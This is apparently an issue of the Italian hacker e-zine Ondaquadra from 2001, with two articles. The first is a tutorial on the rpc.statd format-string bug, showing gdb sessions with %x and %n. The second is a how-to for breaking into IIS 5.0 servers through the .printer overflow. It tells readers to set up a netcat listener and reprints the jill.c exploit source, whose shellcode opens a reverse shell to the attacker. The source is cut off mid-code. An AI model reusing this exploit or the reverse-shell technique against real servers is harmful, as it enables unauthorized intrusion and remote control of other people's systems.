+-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #04 - 19/11/2001 | | LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0A/0x23 | +-------------------------------------------------------------------------------+ | | | | | ovvero | | | | come scriversi il proprio exploit personale in tre puntate (...o forse piu' | | :) | | | | *************** Seconda Puntata *************** | | | | 3. L'exploit | | | | E cosi' adesso volete vedere come si riesce ad eseguire un programma su una | | macchina remota attraverso l'invio di una stringa di caratteri | | apparentemente | | innocua, eh? Bene! Siete capitati nel posto giusto! Tutto quello di cui | | avremo | | bisogno e': | | | | - una conoscenza "decente" dei meccanismi che governano la gestione dello | | stack | | - una certa quale dimestichezza con i concetti e gli strumenti di debugging | | (gdb | | prima di tutti) | | - una macchina linux disponibile (personalmente ho lavorato su ua Red Hat | | 7.1, | | quindi gli esempi sono funzionanti *certamente* su questa distribuzione, | | ma | | immagino siano assolutamente trasportabili su molte altre) | | - tanta, tanta, tanta buona volonta' e voglia di capire (la stessa che ha | | animato | | me quando, in presenza di un sistema violato, ho voluto andare in fondo a | | questa storia ;) | | | | Ok, verificato che disponiamo di tutte queste cose, cominciamo pure le danze | | ;) | | | | Si parte! | | | | | | 3.1. Principio tecnico | | | | Qualsiasi processo in esecuzione utilizza delle zone di menoria per | | conservare le | | informazioni necessarie al suo funzionamento; parliamo non soltanto di | | valori | | variabili durante l'esecuzione, ma anche di codice eseguibile che deve | | giocoforza | | essere caricato in memoria e solo successivamente puo' venire eseguito dalla | | CPU. | | Le zone di memoria in cui queste informazioni vengono mantenute prende il | | nome di | | "spazio di indirizzamento del processo" e la sua gestione e' a completa | | discrezione | | del kernel. Tuttavia, per mantenere un certo livello di astrazione, il | | kernel si | | occupa di "virtualizzare" gli indirizzi: mentre il processo "vede" certe | | variabili | | a certi indirizzi (sempre uguali, dal suo punto di vista) il kernel si | | occupa di | | gestire l'indirizzamento effettivo in memoria utilizzando tecniche di | | "mapping" | | degli indirizzi e facendo corrispondere gli indirizzi "fissi" del processo | | ad | | altrettanti indirizzi della memoria fisica, variandone i valori a seconda | | delle | | varie condizioni. Ad esempio, lo stesso processo puo' venire caricato in | | zone di | | memoria fisica differenti nel momento in cui venga temporaneamente | | parcheggiato su | | disco per liberare memoria fisica in quel momento necessaria all'esecuzione | | di | | processi piu' "importanti", mediante l'operazione comunemente conosciuta con | | il | | nome di "swapping". Non entreremo piu' di tanto in queste questioni; a noi | | basta | | sapere che esistono zone di memoria alle quali i processi possono fare | | riferimento | | attraverso un indirizzamento che resta, dal loro punto di vista, costante e | | questo | | e' alla base dell'exploit che analizzeremo. | | | | | | | | 3.1.1. Analisi dei due exploit principalmente utilizzati | | | | Premessa: ogni exploit deriva sempre ed incondizionatamente da un ERRORE di | | programmazione, non importa quanto in buona fede. Sostanzialmente | | si tratta di una mancanza di controlli sugli input ricevuti | | dall'esterno siano essi relativi alla dimensione dell'input | | ricevuto | | (buffer overflow) oppure al "significato" dell'input stesso | | (validazione | | dell'input vera e propria, da cui derive la possibilita' di | | sovrascrivere | | zone dello stack) | | | | Buffer overflow: piu' "semplice", sostanzialmente in grado di sovrascrivere | | lo stack | | attraverso la concatenazione di stringhe eccessivamente lunghe | | | | Input validation: utilizzando opportune tecniche (l'operatore "%n" in una | | chiamata a | | qualche funzione che realizzi un output; esempi di tali funzioni sono la | | printf, la | | syslog, la sprintf e cosi' via) si riesce a sovrascrivere l'indirizzo di | | ritorno | | della routine, permettendo pertanto l'esecuzione di codice "arbitrario" | | | | | | | | | | 3.1.2. Punti in comune | | | | | | Tutti e due questi tipi di exploit mirano ad un unico obiettivo: riuscire a | | modificare | | le informazioni del processo in modo tale da fargli eseguire delle | | istruzioni diverse | | da quelle che normalmente eseguirebbe. Il massimo obiettivo e' quello di | | fare eseguire | | un codice specificato direttamente dall'attaccante, ottenendo in tal modo il | | pieno | | controllo del comportamento del processo stesso (vi lascio immaginare cosa | | questo | | voglia dire se ci si trova in presenza di un processo eseguito con i massimi | | privilegi... ;) | | | | | | | | 3.1.3. Differenze | | | | | | La tecnica del "buffer overflow" si basa sostanzialmente su di un errore di | | programmazione, sulla base del quale una concatenazione o una copia di | | stringhe si | | presenta (ripeto, a causa di un errore di programmazione) come una stringa | | molto piu' | | lunga di quanto atteso, con il rislutato di sovrascrivere zone di memoria | | inattese | | (solitamente lo stack). | | | | A differenza delle prime, le tecniche basaste sulla mancanza di "input | | validation" | | si basano sostanzialmente non tanto su un errore di programmazione quanto su | | un mancato | | controllo della validita' SEMANTICA di una stringa ricevuta in ingresso, con | | la | | spiacevole conseguenza di lasciare "aperta" una possibilita' ad eventuali | | attaccanti... | | possibilita' che, come vedremo, viene sfruttata a piene mani... ;) | | | | | | | | 3.2. Un esempio "step-by-step" di exploit basato sulla mancata validazione | | dell'input | | | | 3.2.1. Cosa c'e' sullo stack? | | | | | | Per meglio spiegare i concetti che vedremo di seguito, invito tutti quanti | | ad una serie | | di sessioni pratiche, a cominciare da ADESSO! | | | | | | Dotiamoci di una macchina linux e con il nostro editor preferito creiamo il | | file prova1.c | | inserendo il seguente codice in linguaggio "C" | | | | main () | | { | | char buffer[4096]; | | int i; | | | | bzero (buffer, 4096); | | | | for (i = 0; i < 64; i++) | | buffer[i] = ' ' + i; | | | | printf (buffer); | | } | | | | Fatto? Bene. Adesso compiliamo il programma con l'istruzione | | | | # gcc -g -o prova1 prova1.c | | | | ATTENZIONE! E' importante lo switch "-g" che indica al compilatore di | | mantenere valide | | le informazioni per una successiva fase di debugging. | | | | Ok, adesso eseguiamo il programma ottenuto, controllandone il comportamento | | con il | | debugger mediante il comando | | | | # gdb prova1 | | | | La parte che segue viene estratta direttamente dalla sessione pratica, | | inframmezzando | | le operazioni con i rispettivi commenti. | | | | | | # gdb prova1 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and you are | | welcome to change it and/or distribute copies of it under certain | | conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for details. | | This GDB was configured as "i386-redhat-linux"... | | (gdb) b main | | Breakpoint 1 at 0x8048495: file prova1.c, line 7. | | (gdb) r | | Starting program: /root/Ondaquadra/prova1 | | | | Breakpoint 1, main () at prova1.c:7 | | 7 bzero (buffer, 4096); | | (gdb) x $sp | | 0xbfffea50: 0x000001e7 | | (gdb) x buffer | | 0xbfffea60: 0x000006d8 | | (gdb) x /10 $sp | | 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000305 | | 0xbfffea60: 0x000006d8 0x00000779 0x000002b7 0x000004cc | | 0xbfffea70: 0x00000000 0x00000000 | | (gdb) n | | 9 for (i = 0; i < 64; i++) buffer[i]=' ' + i; | | (gdb) n | | 11 printf (buffer); | | (gdb) x /10 $sp | | 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000040 | | 0xbfffea60: 0x23222120 0x27262524 0x2b2a2928 0x2f2e2d2c | | 0xbfffea70: 0x33323130 0x37363534 | | (gdb) | | | | | | A questo punto controlliamo l'espansione del programma in linguaggio | | assembler | | | | | | (gdb) disass | | Dump of assembler code for function main: | | 0x804848c
: push %ebp | | 0x804848d : mov %esp,%ebp | | 0x804848f : sub $0x1018,%esp | | 0x8048495 : sub $0x8,%esp | | 0x8048498 : push $0x1000 | | 0x804849d : lea 0xffffeff8(%ebp),%eax | | 0x80484a3 : push %eax | | 0x80484a4 : call 0x8048398 | | 0x80484a9 : add $0x10,%esp | | 0x80484ac : movl $0x0,0xffffeff4(%ebp) | | 0x80484b6 : mov %esi,%esi | | 0x80484b8 : cmpl $0x3f,0xffffeff4(%ebp) | | 0x80484bf : jle 0x80484c4 | | 0x80484c1 : jmp 0x80484e8 | | 0x80484c3 : nop | | 0x80484c4 : lea 0xffffeff8(%ebp),%eax | | 0x80484ca : mov %eax,%ecx | | 0x80484cc : mov 0xffffeff4(%ebp),%edx | | 0x80484d2 : mov 0xffffeff4(%ebp),%al | | 0x80484d8 : add $0x20,%eax | | 0x80484db : mov %al,(%edx,%ecx,1) | | 0x80484de : lea 0xffffeff4(%ebp),%eax | | ---Type to continue, or q to quit--- | | 0x80484e4 : incl (%eax) | | 0x80484e6 : jmp 0x80484b8 | | 0x80484e8 : sub $0xc,%esp | | 0x80484eb : lea 0xffffeff8(%ebp),%eax | | 0x80484f1 : push %eax | | 0x80484f2 : call 0x8048378 | | 0x80484f7 : add $0x10,%esp | | 0x80484fa : leave | | 0x80484fb : ret | | End of assembler dump. | | (gdb) | | | | | | Notiamo subito che gli indirizzi di memoria appartenenti al range | | 0x804848c-0x80484fb | | appartengono al codice eseguibile, mentre quelli del range | | 0xbfffea50-0xbfffea80 | | fanno parte dello stack. Tramite gli opportuni comandi di gdb e' possibile | | esaminare | | a nostro piacimento il contenuto di questi spazi di indirizzamento. A titolo | | di | | studio, impostiamo un breakpoint all'inizio della funzione printf ed | | eseguiamo il | | programma fino a quel punto | | | | (gdb) b printf | | Breakpoint 2 at 0x40080d76: file printf.c, line 30. | | (gdb) c | | Continuing. | | | | Breakpoint 2, printf ( | | format=0xbfffea60 " | | !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[ | | \\]^_") at printf.c:30 | | 30 printf.c: File o directory inesistente. | | (gdb) | | | | | | | | benissimo. ora possiamo prendere atto di che cosa vi sia effettivamente | | sullo stack; | | commenteremo insieme il suo contenuto | | | | | | (gdb) x/20 $sp | | 0xbfffea2c: 0xbfffea60 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x080484f7 0xbfffea60 0x00001000 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x00000040 0x23222120 0x27262524 0x2b2a2928 | | 0xbfffea6c: 0x2f2e2d2c 0x33323130 0x37363534 0x3b3a3938 | | (gdb) | | | | | | notiamo che il buffer (0xbfffea60) e' effettivamente sullo stack ad un certo | | numero | | di indirizzi successivi a quelli dei parametri della funzione printf | | (0xbfffea40), | | cosi' si puo' approfittare della cosa inserendo opportunamente i vari | | formattatori | | per fare in modo che il contenuto del buffer al suo inizio possa essere | | usato come | | puntatore per il formattatore %n, mettendo l'indirizzo (0xbfffea3c) che | | contiene | | l'indirizzo di ritorno della funzione printf | | | | | | | | | | | | 3.2.2. L'idea alla base di tutto | | | | | | L'idea e' quella di passare nel buffer una serie di operatori di | | formattazione in | | modo tale da far "credere" alla funzione di output che esistano altri | | argomenti; | | poiche' la funzione estrarra' tali argomenti direttamente dallo stack, | | calcolando | | correttamente il numero di detti argomenti fittizi sara' possibile | | utilizzare dei | | valori contenuti nel buffer stesso, che e' memorizzato dopo un certo numero | | di byte. | | | | | | | | | | A titolo di esempio di come questo possa avvenire, provate a seguire queste | | due | | simpatiche sessioni, con codici derivati da quello precedente | | | | # cat prova2.c | | | | main () | | { | | char buffer [4096]; | | int i; | | | | bzero (buffer, 4096); | | | | for (i = 0; i < 10; i++) strcat (&buffer[i*3], "%x\n"); | | | | printf (buffer); | | } | | # | | | | qui riempiamo il buffer con dieci formattatori che si aspettano pertanto di | | trovare | | dieci argomenti nella chiamata alla printf; poiche', pero', noi non abbiamo | | specificato null'altro che il buffer, i dicei argomenti verranno estratti | | dallo stack, | | senza nessuna considerazione di cosa veramente vi sia contenuto. Il | | risultato sara'... | | | | # gcc -g -o prova2 prova2.c | | # gdb prova2 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and you are | | welcome to change it and/or distribute copies of it under certain | | conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for details. | | This GDB was configured as "i386-redhat-linux"... | | | | | | imposto una interruzione nella chiamata della printf ed eseguo fino a quel | | punto | | | | (gdb) b printf | | Breakpoint 1 at 0x80483ac | | (gdb) r | | Starting program: /root/Ondaquadra/prova2 | | Breakpoint 1 at 0x40080d76: file printf.c, line 30. | | | | Breakpoint 1, printf ( | | format=0xbfffea60 "%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n") | | at printf.c:30 | | 30 printf.c: File o directory inesistente. | | | | | | | | esamino lo stack | | | | | | (gdb) x/20 $sp | | 0xbfffea2c: 0x080485a4 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x08048537 0xbfffea60 0x080485a4 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x0000000a 0x250a7825 0x78250a78 0x0a78250a | | 0xbfffea6c: 0x250a7825 0x78250a78 0x0a78250a 0x250a7825 | | | | | | ok, proseguiamo e... | | | | | | (gdb) c | | Continuing. | | 80485a4 | | 7e3 | | 6c4 | | 1e7 | | 7f5 | | 6ea | | a | | 250a7825 | | 78250a78 | | a78250a | | | | Program exited with code 070. | | (gdb) q | | # | | | | | | BINGO!!! La funzione printf ha appena stampato il contenuto delle dieci | | locazioni | | di memoria da 0xbfffea44 a 0xbfffea68, cioe' le locazioni IMMEDIATAMENTE | | successive | | a quella che conteneva l'unico parametro passato alla printf stessa. Da | | notare che | | gli ultimi valori sono IL CONTENUTO DEL BUFFER STESSO!!! Mooooolto | | importante! :) | | | | | | Proseguiamo adesso con il secondo esempio, ancora piu' interessante | | | | | | # cat prova3.c | | | | main () | | { | | char buffer [4096]; | | int i; | | | | bzero (buffer, 4096); | | | | | | strcat (buffer, "12345 %n\n"); | | | | | | printf (buffer, &i); | | } | | # | | | | qui abbiamo inserito il formattatore %n che ha come risultato quello di | | SCRIVERE | | ALL'INDIRIZZO CHE TROVA COME ARGOMENTO il numero di caratteri fino a quel | | momento | | stampato in output. Per comprendere meglio, abbiamo anche fornito un | | indirizzo | | valido (l'argomento &i successivo) in modo da dimostrare la funzionalita' | | del | | formattatore in esame. | | | | | | # gcc -g -o prova3 prova3.c | | # | | # gdb prova3 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and you are | | welcome to change it and/or distribute copies of it under certain | | conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for details. | | This GDB was configured as "i386-redhat-linux"... | | (gdb) b main | | Breakpoint 1 at 0x80484c5: file prova3.c, line 7. | | (gdb) r | | Starting program: /root/Ondaquadra/prova3 | | | | Breakpoint 1, main () at prova3.c:7 | | 7 bzero (buffer, 4096); | | (gdb) p i | | $1 = 773 | | (gdb) p &i | | $2 = (int *) 0xbfffea5c | | | | | | benissimo: la variabile i vale 773 (un valore casuale presente sullo stack) | | ed il | | suo indirizzo e' 0xbfffea5c. | | | | | | (gdb) b printf | | Breakpoint 2 at 0x40080d76: file printf.c, line 30. | | (gdb) c | | Continuing. | | | | Breakpoint 2, printf (format=0xbfffea60 "12345 %n\n") at printf.c:30 | | 30 printf.c: File o directory inesistente. | | | | ok. siamo nella printf. esaminiamo il contenuto dello stack | | | | | | (gdb) x/20 $sp | | 0xbfffea2c: 0x0804857c 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x08048509 0xbfffea60 0xbfffea5c 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x00000305 0x34333231 0x6e252035 0x0000000a | | 0xbfffea6c: 0x00000000 0x00000000 0x00000000 0x00000000 | | | | | | qui si vede come nella locazione 0xbfffea40 sia memorizzato l'indirizzo del | | buffer (0xbfffea60) ed in quella successiva sia memorizzato l'indirizzo | | della | | variabile i, in modo tale che il formattatore %n trovi un indirizzo valido. | | | | (gdb) n | | 31 in printf.c | | (gdb) n | | 12345 | | 35 in printf.c | | | | ecco fatto! In output vediamo solo i primi caratteri del buffer (ovviamente) | | ma | | nella realta' la printf ha anche scritto il numero di caratteri finora | | stampati | | (e cioe' sei, vi ricordo IL BLANK prima del formattatore vero e proprio) | | all'indirizzo | | trovato come argomento sullo stack, ossia nella variabile i | | | | | | (gdb) n | | 34 in printf.c | | (gdb) n | | 35 in printf.c | | (gdb) n | | main () at prova3.c:14 | | 14 } | | (gdb) p i | | $4 = 6 | | | | | | come volevasi dimostrare! :) | | | | | | (gdb) c | | Continuing. | | | | Program exited with code 07. | | (gdb) q | | # | | | | A questo punto risulta chiaro che abbiamo tutti gli strumenti e tutte le | | informazioni per potere fare qualcosa di davvero molto interessante. | | Ricapitoliamo: | | | | - sappiamo come "navigare" lo stack inserendo ad arte un numero opportuno di | | formattatori di tipo %x | | | | - sappiamo come utilizzare il formattatore %n per scrivere valori in zone di | | memoria il cui indirizzo sia sullo stack | | | | - sappiamo che il nostro buffer e' fisicamente presente sullo stack in una | | posizione che ci permette di raggiungerlo con una sapiente sequenza di | | formattatori | | | | ...non devo aggiungere altro, mi pare, no? :) | | | | ed infatti per questa puntata non lo faro'. Lascio a voi il piacere di | | sperimentare | | le tecniche appena analizzate e, proprio per i piu' pigri, la prossima volta | | vi | | forniro' le ultime informazioni necessarie per completare l'opera (ma il | | riuscirci | | da soli sarebbe davvero una soddisfazione non da poco... o sbaglio? ;) ;) ;) | | | | | | ...alla prossima | | | | | | xyzzy | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'ANG0L0 DEGLi EXPL0iT] #04 - 19/11/2001 | | IIS 5.0 PRiNTER 0VERFL0W [MightyInquisitor] 0x0B/0x23 | +-------------------------------------------------------------------------------+ | | | Titolo: IIS 5.0 PRINTER OVERFLOW | | Autore: MightyInquisitor | | Home-page: www.mightyinquisitor.cjb.net | | E-mail: mightyinquisitor@mightyinquisitor.cjb.net | | Irc: irc.azzurranet.org - canale: #hackmaniaci | | | | | | DiSCLAiMER_LEGALi | | QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, | | MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE | | FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi | | iLLEGALi. | | | | | | cat Index.txt | | -------------- | | /Index.txt | | /Intro.txt | | /Munizioni.txt | | /Go.txt | | /Saluti.txt | | -------------- | | | | | | cat Intro.txt | | ----------------------------------------------------------------------------- | | Come molti di voi sapranno, win2k è pieno di bug, come del resto tutti i | | prodotti di casa | | microsux. In questo testo vi racconto una bella storiella, ovvero come | | hakkare un server | | iis 5.0 sfruttando un bug molto simpatico: il '.print overflow'. | | Passiamo quindi ora alla pratica, che è quello che voi preferite, o no? | | ----------------------------------------------------------------------------- | | | | | | cat Munizioni.txt | | ----------------------------------------------------------------------------- | | Premetto che non è semplicissima questa tecnica di hacking, ma che da buoni | | risultati, se | | si trova un server iis 5.0 vulnerabile al .print overflow. Purtroppo però | | devi dirvi che | | questo bug è stato patchato dalla maggior parte dei sysadmin di server | | microsux, non | | demoralizzatevi però e ricordate: dove c'è microsoft c'è bug. | | Allora, volate su www.packetstormsecurity.com e scaricate: | | - jill.c | | - nc110.tgz | | Questi sono gli unici due file necessari per exploitare il server che | | vogliamo noi. | | | | Jill.c: questo è il vero e proprio exploit, un sorgente in C. | | Nc110.tgz: questo è il net cat, la versione per linux ovviamente, visto che | | in questo tut. | | vi spiego come exploitare il server iis dalla vostra linux box. | | ----------------------------------------------------------------------------- | | | | | | cat Go.txt | | ----------------------------------------------------------------------------- | | :Primo punto: | | Apri due shell, possono essere due console in locale oppure due shell | | hakkate oppure due | | shell pubbliche. L'importante è che siano due. | | Nella prima userai net cat e lo metterai in ascolto su una porta del sistema | | dove lo stai | | eseguendo; nella seconda userai jill (l'exploit) in un secondo momento. | | | | :Secondo punto: | | Entra nella directory dove hai scaricato il file 'jill.c', compilalo con il | | seguente | | comando: 'gcc -o jill jill.c'. | | | | Nota: In caso tu non abbia trovato il file jill.c su packetstorm, ho | | riportato il sorgente | | intero, basta che lo copi in un file col nome jill.c e poi lo compili come | | ho scritto sopra. | | | | .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. | | /* SORGENTE DI JILL.C | | * IIS 5 remote .printer overflow. "jill.c" (don't ask). | | * | | * by: dark spyrit | | * | | * respect to eeye for finding this one - nice work. | | * shouts to halvar, neofight and the beavuh bitchez. | | * | | * this exploit overwrites an exception frame to control eip and get to | | * our code.. the code then locates the pointer to our larger buffer and | | * execs. | | * | | * usage: jill | | * | | * the shellcode spawns a reverse cmd shell.. so you need to set up a | | * netcat listener on the host you control. | | * | | * Ex: nc -l -p -vv | | * | | * I haven't slept in years. | | */ | | | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | int main(int argc, char *argv[]){ | | | | /* the whole request rolled into one, pretty huh? carez. */ | | | | unsigned char sploit[]= | | "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" | | "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" | | "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" | | "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" | | "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" | | "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" | | "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" | | "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" | | "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" | | "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" | | "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" | | "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" | | "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5" | | "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18" | | "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a" | | "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14" | | "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2" | | "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14" | | "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" | | "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd" | | "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5" | | "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d" | | "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3" | | "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3" | | "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15" | | "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" | | "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0" | | "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd" | | "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1" | | "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e" | | "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4" | | "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" | | "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" | | "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" | | "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" | | "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" | | "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" | | "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" | | "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" | | "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" | | "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" | | "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" | | "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" | | "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33" | | "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0" | | "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a"; | | | | int s; | | unsigned short int a_port; | | unsigned long a_host; | | struct hostent *ht; | | struct sockaddr_in sin; | | | | printf("iis5 remote .printer overflow.\n" | | "dark spyrit / beavuh 